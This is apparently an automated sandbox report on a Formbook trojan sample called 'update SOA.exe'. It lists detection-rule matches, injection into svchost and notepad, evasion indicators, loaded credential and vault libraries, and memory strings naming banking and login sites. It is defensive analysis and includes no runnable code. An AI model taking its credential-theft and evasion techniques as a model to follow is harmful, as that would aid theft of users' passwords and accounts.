Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04B8E7FC	5_2_04B8E7FC
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04B8E346	5_2_04B8E346
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04B8D868	5_2_04B8D868
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04B8CB08	5_2_04B8CB08
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Code function: 6_2_0553DD71	6_2_0553DD71
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Code function: 6_2_0553BDF1	6_2_0553BDF1
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Code function: 6_2_05542C41	6_2_05542C41
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Code function: 6_2_055444D1	6_2_055444D1
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Code function: 6_2_0555C981	6_2_0555C981
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Code function: 6_2_0553DB51	6_2_0553DB51
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Code function: 6_2_055462E1	6_2_055462E1

Source: C:\Windows\SysWOW64\notepad.exe	Code function: String function: 04D4EA12 appears 84 times
Source: C:\Windows\SysWOW64\notepad.exe	Code function: String function: 04D15130 appears 36 times
Source: C:\Windows\SysWOW64\notepad.exe	Code function: String function: 04CCB970 appears 266 times
Source: C:\Windows\SysWOW64\notepad.exe	Code function: String function: 04D27E54 appears 88 times
Source: C:\Windows\SysWOW64\notepad.exe	Code function: String function: 04D5F290 appears 105 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03AAEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03A2B970 appears 268 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03A87E54 appears 96 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03ABF290 appears 105 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03A75130 appears 36 times

Source: update SOA.exe, 00000000.00000003.2070693180.000000000481D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs update SOA.exe
Source: update SOA.exe, 00000000.00000003.2070210673.0000000003DF3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs update SOA.exe

Source: update SOA.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.3882344624.0000000002B80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.3883839683.0000000005350000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.2343330383.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.3886044229.00000000054F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.2343906085.0000000006650000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.3883738653.0000000004A30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.2343594491.0000000003790000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.3883798608.0000000004A80000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@11/5

Source: C:\Users\user\Desktop\update SOA.exe

File created: C:\Users\user\AppData\Local\Temp\teer

Source: update SOA.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\update SOA.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\update SOA.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: notepad.exe, 00000005.00000002.3882543699.0000000002F1E000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000005.00000002.3882543699.0000000002EFB000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000005.00000002.3882543699.0000000002EEF000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000005.00000003.2527421693.0000000002EEF000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: update SOA.exe

ReversingLabs: Detection: 42%

Source: C:\Users\user\Desktop\update SOA.exe

File read: C:\Users\user\Desktop\update SOA.exe

Source: unknown	Process created: C:\Users\user\Desktop\update SOA.exe "C:\Users\user\Desktop\update SOA.exe"
Source: C:\Users\user\Desktop\update SOA.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\update SOA.exe"
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Process created: C:\Windows\SysWOW64\notepad.exe "C:\Windows\SysWOW64\notepad.exe"
Source: C:\Windows\SysWOW64\notepad.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\update SOA.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\update SOA.exe"	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Process created: C:\Windows\SysWOW64\notepad.exe "C:\Windows\SysWOW64\notepad.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\update SOA.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\update SOA.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\update SOA.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\update SOA.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\update SOA.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\update SOA.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\update SOA.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\update SOA.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\update SOA.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\update SOA.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\update SOA.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\update SOA.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Source: C:\Windows\SysWOW64\notepad.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Switches to a custom stack to bypass stack traces

Source: update SOA.exe

Static file information: File size 1401959 > 1048576

Source:	Binary string: notepad.pdbGCTL source: svchost.exe, 00000002.00000003.2312196681.0000000003443000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2312112066.000000000341A000.00000004.00000020.00020000.00000000.sdmp, HAdkDWMZRiGMZe.exe, 00000004.00000002.3882959194.0000000000E98000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: notepad.pdb source: svchost.exe, 00000002.00000003.2312196681.0000000003443000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2312112066.000000000341A000.00000004.00000020.00020000.00000000.sdmp, HAdkDWMZRiGMZe.exe, 00000004.00000002.3882959194.0000000000E98000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: HAdkDWMZRiGMZe.exe, 00000004.00000000.2266285714.00000000004CE000.00000002.00000001.01000000.00000005.sdmp, HAdkDWMZRiGMZe.exe, 00000006.00000002.3882332650.00000000004CE000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: update SOA.exe, 00000000.00000003.2070210673.0000000003CD0000.00000004.00001000.00020000.00000000.sdmp, update SOA.exe, 00000000.00000003.2071406574.0000000004890000.00000004.00001000.00020000.00000000.sdmp, update SOA.exe, 00000000.00000003.2070693180.00000000046F0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2250582687.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2343632183.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2252532945.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2343632183.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, notepad.exe, 00000005.00000003.2349001032.0000000004AEC000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000005.00000002.3884211097.0000000004E3E000.00000040.00001000.00020000.00000000.sdmp, notepad.exe, 00000005.00000003.2347352548.0000000004935000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000005.00000002.3884211097.0000000004CA0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: update SOA.exe, 00000000.00000003.2070210673.0000000003CD0000.00000004.00001000.00020000.00000000.sdmp, update SOA.exe, 00000000.00000003.2071406574.0000000004890000.00000004.00001000.00020000.00000000.sdmp, update SOA.exe, 00000000.00000003.2070693180.00000000046F0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.2250582687.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2343632183.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2252532945.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2343632183.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, notepad.exe, notepad.exe, 00000005.00000003.2349001032.0000000004AEC000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000005.00000002.3884211097.0000000004E3E000.00000040.00001000.00020000.00000000.sdmp, notepad.exe, 00000005.00000003.2347352548.0000000004935000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000005.00000002.3884211097.0000000004CA0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: notepad.exe, 00000005.00000002.3882543699.0000000002E77000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000005.00000002.3885110150.00000000052CC000.00000004.10000000.00040000.00000000.sdmp, HAdkDWMZRiGMZe.exe, 00000006.00000002.3884241981.00000000030BC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2635917732.000000002370C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: notepad.exe, 00000005.00000002.3882543699.0000000002E77000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000005.00000002.3885110150.00000000052CC000.00000004.10000000.00040000.00000000.sdmp, HAdkDWMZRiGMZe.exe, 00000006.00000002.3884241981.00000000030BC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2635917732.000000002370C000.00000004.80000000.00040000.00000000.sdmp

Source: update SOA.exe

Static PE information: real checksum: 0xa2135 should be: 0x15a0bc

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041D0A4 push 0000000Dh; iretd	2_2_0041D0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041491A push edx; ret	2_2_00414954
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040AAEC push ecx; iretd	2_2_0040AAED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00413BE3 push eax; retf	2_2_00413BE4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041EBA0 push esp; iretd	2_2_0041EBDC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041EBA3 push esp; iretd	2_2_0041EBDC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040ABA5 push edx; retf	2_2_0040ABA9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00403430 push eax; ret	2_2_00403432
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040D43B push es; retf	2_2_0040D455
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00401CE0 push ds; iretd	2_2_00401DEB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004015DF push 00000028h; ret	2_2_004015F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004085F8 push eax; ret	2_2_00408602
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00416643 pushfd ; iretd	2_2_00416658
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A309AD push ecx; mov dword ptr [esp], ecx	2_2_03A309B6
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Code function: 4_2_055AD115 push es; retf	4_2_055AD12F
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Code function: 4_2_055B45F4 push edx; ret	4_2_055B462E
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Code function: 4_2_055AA87F push edx; retf	4_2_055AA883
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Code function: 4_2_055B38BD push eax; retf	4_2_055B38BE
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Code function: 4_2_055B631D pushfd ; iretd	4_2_055B6332
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Code function: 4_2_055A82D2 push eax; ret	4_2_055A82DC
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CD09AD push ecx; mov dword ptr [esp], ecx	5_2_04CD09B6
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_02B93210 pushfd ; iretd	5_2_02B93225
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_02B851C5 push eax; ret	5_2_02B851CF
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_02B907B0 push eax; retf	5_2_02B907B1
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_02B9B770 push esp; iretd	5_2_02B9B7A9
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_02B87772 push edx; retf	5_2_02B87776
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_02B9B76D push esp; iretd	5_2_02B9B7A9
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_02B914E7 push edx; ret	5_2_02B91521
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_02BA0A1B push edi; retf	5_2_02BA0A39
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_02B9DA54 push esi; retf	5_2_02B9DA5A
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_02B9BF0D push esi; ret	5_2_02B9BF10

Source: C:\Windows\SysWOW64\notepad.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\update SOA.exe	API/Special instruction interceptor: Address: 42F668C
Source: C:\Windows\SysWOW64\notepad.exe	API/Special instruction interceptor: Address: 7FF8C88ED324
Source: C:\Windows\SysWOW64\notepad.exe	API/Special instruction interceptor: Address: 7FF8C88ED7E4
Source: C:\Windows\SysWOW64\notepad.exe	API/Special instruction interceptor: Address: 7FF8C88ED944
Source: C:\Windows\SysWOW64\notepad.exe	API/Special instruction interceptor: Address: 7FF8C88ED504
Source: C:\Windows\SysWOW64\notepad.exe	API/Special instruction interceptor: Address: 7FF8C88ED544
Source: C:\Windows\SysWOW64\notepad.exe	API/Special instruction interceptor: Address: 7FF8C88ED1E4
Source: C:\Windows\SysWOW64\notepad.exe	API/Special instruction interceptor: Address: 7FF8C88F0154
Source: C:\Windows\SysWOW64\notepad.exe	API/Special instruction interceptor: Address: 7FF8C88EDA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_03AAD1C0 rdtsc

2_2_03AAD1C0

Source: C:\Windows\SysWOW64\notepad.exe	Window / User API: threadDelayed 2124			Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Window / User API: threadDelayed 7848			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\notepad.exe	API coverage: 3.3 %

Source: C:\Windows\SysWOW64\notepad.exe TID: 7120	Thread sleep count: 2124 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe TID: 7120	Thread sleep time: -4248000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe TID: 7120	Thread sleep count: 7848 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe TID: 7120	Thread sleep time: -15696000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe TID: 5608	Thread sleep time: -50000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe TID: 5608	Thread sleep time: -39000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\notepad.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\notepad.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\notepad.exe

Code function: 5_2_02B9C520 FindFirstFileW,FindNextFileW,FindClose,

5_2_02B9C520

Source: K4394f5.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: K4394f5.5.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: K4394f5.5.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: K4394f5.5.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: K4394f5.5.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: K4394f5.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: notepad.exe, 00000005.00000002.3887050160.0000000007D9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (1eractive Brokers - EU WestVMware20,11696428655n
Source: K4394f5.5.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: K4394f5.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: K4394f5.5.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: K4394f5.5.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: K4394f5.5.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
